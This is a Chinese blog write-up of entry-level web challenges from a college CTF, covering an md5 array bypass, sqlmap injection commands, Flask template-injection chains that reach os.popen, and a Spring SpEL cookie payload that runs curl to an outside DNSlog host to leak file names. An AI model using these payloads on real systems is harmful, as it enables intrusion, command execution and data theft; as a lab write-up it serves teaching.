记一次院赛CTF的WEB题(入门级别)
目錄
- 簽到一
- 簽到二
- 口算小天才
- easy php
- 錄取查詢
- 我愛python
- Spring
這次院賽的題目比較基礎,適合給剛入門CTF的小白提供一個大致CTF解題思路。(主要因為本人小白,表示能學到不少東西。)
簽到一
題目中直接給了flag,提交就可以了。
簽到二
這題主要考察的是基本的F12能力,查看網頁源碼,以及修改input輸入框的長度。
口算小天才
這題通過題意,是需要讓我們在1~3秒內回答出這個計算題。這題應該算是考察一個基本的編程能力吧。
這邊給出我的python代碼。當然這題還有很多別的編程語言可以使用,我當時就是直接用的js,直接獲取算式,然后我是百度了一個別人寫好js的運算的函數CalcEval.prototype.complexEval,然后將算式傳進去,計算得出答案,放到答案的框中,js點擊實現的。
easy php
其實看到vim就可以想到.swp文件的泄露,但是作為小白的我沒有想到這個,我直接放到了漏洞掃描的軟件掃了一下(強烈推薦這個軟件)
這里發現了.DS_Store的泄露。
然后用ds_store_exp這個工具下載下來(需要的是python2.7的環境)
這邊代碼審計一下,首先頁面get到a、b、c三個參數,然后把a和b經過的md5后的保存下來,這題輸出flag的條件分別是,1、a和b存在 2、a!=b,且a的md5和b的md5要相等 3、c<9999999||(String)$c>0這個結果要是false。
md5()這個函數可以去百度一下,如果我們傳入的a和b是數組的話,他們md5()后的返回值會是false,利用false==false可以滿足條件2
然后要滿足條件3需要知道,數組與整數比較會返回false,所以構建如下
錄取查詢
這題可以發現注入點,可以直接選擇手工注入,但是更簡單的是使用sqlmap
關于sqlmap如何post注入可以看下面的
首先需要用bp抓個包,把他copy到一個txt里面保存。
使用 sqlmap –r lqcx.txt –-dbs
就是使用我們保存的這個txt,去找數據庫
?
可以發現有如下數據庫,因為是學校的錄取查詢,所以應該是school,當然不知道也沒關系,每個看一遍也能找到flag
然后sqlmap r lqcx.txt –D school –-table
就是找school數據庫的表
可以發現有這兩張表,所以當然是選擇flag
使用sqlmap –r lqcx.txt –D school –T flag –-column
查找school數據庫中的flag表的字段
可以看到有flag字段
使用sqlmap –r lqcx.txt –D school –T flag –C flag –-dump
就是查找school數據庫中的flag表的flag字段,然后—dump彈出顯示出來
就能得到flag
然后放一段我同學的手工注入
我愛python
這題的話,看了他的網頁源碼,可以看到power by flask,然后百度一下flask漏洞
推薦這篇博客https://blog.csdn.net/lansatiankongxxc/article/details/78764726
大概可以知道我們需要他的os模塊來顯示有哪些文件,然后使用file模塊來讀取文件。
這邊使用{{().class.bases[0].subclasses()}}可以看到有哪些類,我們發現有file,然后我們還需要os,這邊看了大佬的write up知道了,訪問os模塊可以從warnings.catch_warnings下手,發現確實是包含了這個類
這邊是上面查到的那篇博客的部分截圖
首先,這邊要找warnings.catch_warnings的位置,于是我用{{[].class.base.subclasses().index(warnings.catch_warnings)}}
我發現不能執行他的那個語句應該是沒有導入warnings的緣故吧我想,于是我把之前用{{().class.bases[0].subclasses()}}找到的所有類放到notepad++中,批量把>換成了>\n
這邊發現他是第60個,換成索引就是59。
然后知道了位置,執行
{{().class.bases[0].subclasses()[59].init.func_globals.keys() }}查看由哪些global函數
這邊可以看到有linecache,我們要訪問的os模塊就在這里
{{().class.bases[0].subclasses()
[59].init.getattribute(‘func_global’+‘s’)
[‘linecache’] .dict[‘o’+‘s’].dict’popen’.read()}}
當然,這邊沒有進行關鍵字的過濾,所以不需要拼接字符串,但是我這里還是拼接了一下。
可以看到有這些文件,很明顯我們要的是flag。
使用file模塊進行讀寫
使用之前找到warnings.catch_warnings位置的方法,發現file的索引是40
{{().class.bases[0].subclasses()40.read()}}
Spring
主要給了他后臺的源碼,是一個jar包。
使用JD-GUI反編譯一下,可以看到可讀的java源碼
首先可以看到SpringBoot的配置application.yml
這邊可以看到一個管理員的賬號、密碼、權限和一個后面要用到的rememberMeKey。還有一個黑名單,我們后面需要繞過這些。
Main控制器中主要是一個賬號密碼權限和是否記住的讀取,然后如果勾選了記住我的話,會默認給設定一個cookie
由于SmallEvaluationContext extends StandardEvaluationContext StandardEvaluationContext這些是可以執行類類型表達式。所以會出現命令執行漏洞。
這邊就是把那個username傳到了getAdvanceValue()方法里面,所以我們需要傳的這個username應該是一個執行后可以獲取我們想要的flag的東西。
然后可以看到這個username是把rememberMeValue傳到this.userConfig.decryptRememberMe()里面得到的。
rememberMeValue就是我們的remember-me的值,這是我們一個cookie的值,我們可以通過改cookie的值來實現傳入這個rememberMeValue
然后找到userConfig里面的decryptRememberMe()
就是會調用這個解開我們的cookie然后最后給到具有命令執行漏洞的SmallEvaluationContext
所以我們要構造這個cookie,就需要使用加密的方法,可以找到
這里的rememberMeKey的值就是之前看到的。
然后就可以把這個加密的方法copy出來,把我們想要執行的內容加密存入cookie
我們主要是要通過這樣來獲取一個回顯(我這里使用DNSlog的回顯方式是使用ceye.io)
Runtime.getRuntime().exec(“curl http://****(這里是自己的一個子域名).ceye.io/”)
然后構建payload
String.class.getClass() .forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://***.ceye.io/");我最終構建如下
這邊就是使目標服務器,執行將ls下的每一個文件名作為四級域名的形式回顯。
為什么我不一次性作為一個字符串返回,是因為有長度限制
可以參考簡書https://www.jianshu.com/p/307acf4e1fbf
所以我使用了一個for循環,將每個文件名作為我的域名的一部分回顯了。
可以看到有flag_j4v4_hhh的一個文件
這邊base64加密傳輸是避免部分符號的丟失
總結
以上是生活随笔為你收集整理的记一次院赛CTF的WEB题(入门级别)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 个人博客继续更新,CSDN不再更新
- 下一篇: 记一次院赛CTF的Crypto和Re题(